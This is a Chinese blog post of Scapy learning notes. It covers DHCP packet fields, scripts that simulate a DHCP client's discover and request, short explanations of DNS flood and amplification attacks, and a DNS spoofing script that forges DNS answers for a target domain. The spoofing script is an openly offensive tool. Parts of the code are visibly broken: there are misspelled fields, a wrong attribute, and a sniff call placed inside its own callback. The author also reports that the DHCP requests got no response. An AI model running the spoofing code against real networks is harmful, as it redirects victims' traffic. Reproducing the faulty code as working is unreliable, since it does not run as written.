Scapy技术笔记(二)

Scapy的简单使用

python模拟DHCP客户端

DHCP原理

我们需要发送两个包,第一个发一个广播说我需要一个ip。等待DHCP服务器回应。

构造的数据包需要有五个协议。Ether, IP, UDP, BOOTP DHCP

其中关于BOOTP的属性如下:BOOTP是DHCP的引导协议。

关于BOOTP协议包里面的属性:

op : ByteEnumField = ('1') 操作类型

htype : ByteEnumField = ('1') 硬件地址类型

hlen : ByteField = ('6') 硬件地址长度

hops : ByteField = ('0') 跳数

xid : XIntField = ('0') 事务id(记录一次请求过程)

secs : ShortField = ('0') 经过时间

flags : FlagsField = ('<Flag 0 ()>') BOOTP标志位

ciaddr : IPField = ("'0.0.0.0'") DHCP客户端IP

yiaddr : IPField = ("'0.0.0.0'") DHCP分配的IP

siaddr : IPField = ("'0.0.0.0'") 其他DHCP的分的IP

giaddr : IPField = ("'0.0.0.0'") 转发代理IP

chaddr : _BOOTP_chaddr = ("b''") 自己MAC地址

sname : StrFixedLenField = ("b''") 服务器名称

file : StrFixedLenField = ("b''") 指定的配置文件名称

options : StrEnumField = ("b''") 可选选项

None

DHCP模拟发送请求

import random

from scapy.all import *
import binascii

from scapy.layers.dhcp import BOOTP, DHCP
from scapy.layers.inet import IP, UDP
from scapy.layers.l2 import Ether


xid_random = random.randint(1,900000000)
mac_random = str(RandMAC())
client_mac_id = binascii.unhexlify(mac_random.replace(':',''))
print(mac_random)
dhcp_discover = Ether(src=mac_random,dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0",dst="255.255.255.255") / UDP(sport=68,dport=67) / BOOTP(chaddr=client_mac_id,xid=xid_random) / DHCP(options=[("message-type","discover"),"end"])

sendp(dhcp_discover,iface="WLAN")

print("\n\n\nSending DHCPDISCOVER on:"+"WLAN")

这里我遇到了点问题,发送的广播一直得不到回应。书上用sendp函数都能收到dhcp服务器的回应dhcp offer。我这里换成sr函数后还是没有回应。

from scapy.all import *
from scapy.layers.dhcp import DHCP, BOOTP
from scapy.layers.inet import UDP, IP
from scapy.layers.l2 import Ether


def detect_dhcp(pkt):
    if DHCP in pkt:
        if pkt[DHCP].options[0][1]==2:
            Ether_Request = Ether(src=pkt[Ether].dst,dst="ff:ff:ff:ff:ff:ff")
            IP_Request = IP(src="0.0.0.0",dst="255.255.255.255")
            UDP_Request = UDP(sport=68,dport=67)
            BOOTP_Request = BOOTP(CHADDR=pkt[BOOTP].chaddr,xid=pkt[BOOTP].xid)
            DHCP_Request = DHCP(options=[("message-type","request"),("server_id",pkt[DHCP].options[1][1]),("requested_addr",pkt[BOOTP].yiaddr),"end"])

            Request = Ether_Request / IP_Request / UDP_Request / BOOTP_Request / DHCP_Request

            sendp(Request,iface="WLAN")
            print(pkt[BOOTP].yiaddr+"正在分配")
        if pkt[DHCP].options[0][1] == 5:
            print(pkt[BOOTP].yiaddr+"已经分配")

sniff(filter="src port 67",iface="WLAN",prn=detect_dhcp,count=10)

简单来说,dhcp就是本机在只有MAC地址的情况下,向DHCP服务器请求IP的一个过程。hacker在网络中常常会建造伪装的DHCP服务器的方式来进行钓鱼。

DNS协议

概念解释

DNS泛洪攻击:感觉有点类似DDOS,都是向DNS服务器发送大量请求导致网速变慢或者无法访问

DNS放大攻击:DNS的应答数据包要比请求包大的多,hacker可伪造受害者ip发送DNS请求,从而影响受害者。

DNS服务端组织架构:

DNS欺骗

from scapy.all import *
from scapy.layers.dns import DNS, DNSRR
from scapy.layers.inet import UDP, IP


def dns_spoof(pkt):
    testlist=["www.namp.org"]
    if pkt.haslayer(DNS) and pkt.getlayer(DNS).qr == 0:           #haslayer判断数据包是否包含某一协议内容 getlayer用来提取该协议内容
        ip = pkt.getlayer(IP)
        udp = pkt.getlayer(UDP)
        dns = pkt.getlayer(DNS)
        testdomain = dns.qd.qname.decode()[:-1]
        if testdomain in testlist:
            resp = IP(src=ip.dst,dst=ip.src)
            resp /= UDP(sport=udp.dport,dport=udp.port)
            resp /= DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,radta="192.168.1.1"))

            send(resp)
            print("DNS的应答被篡改")

    sniff(filter="udp dst port 53",iface="WLAN",prn=dns_spoof())
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值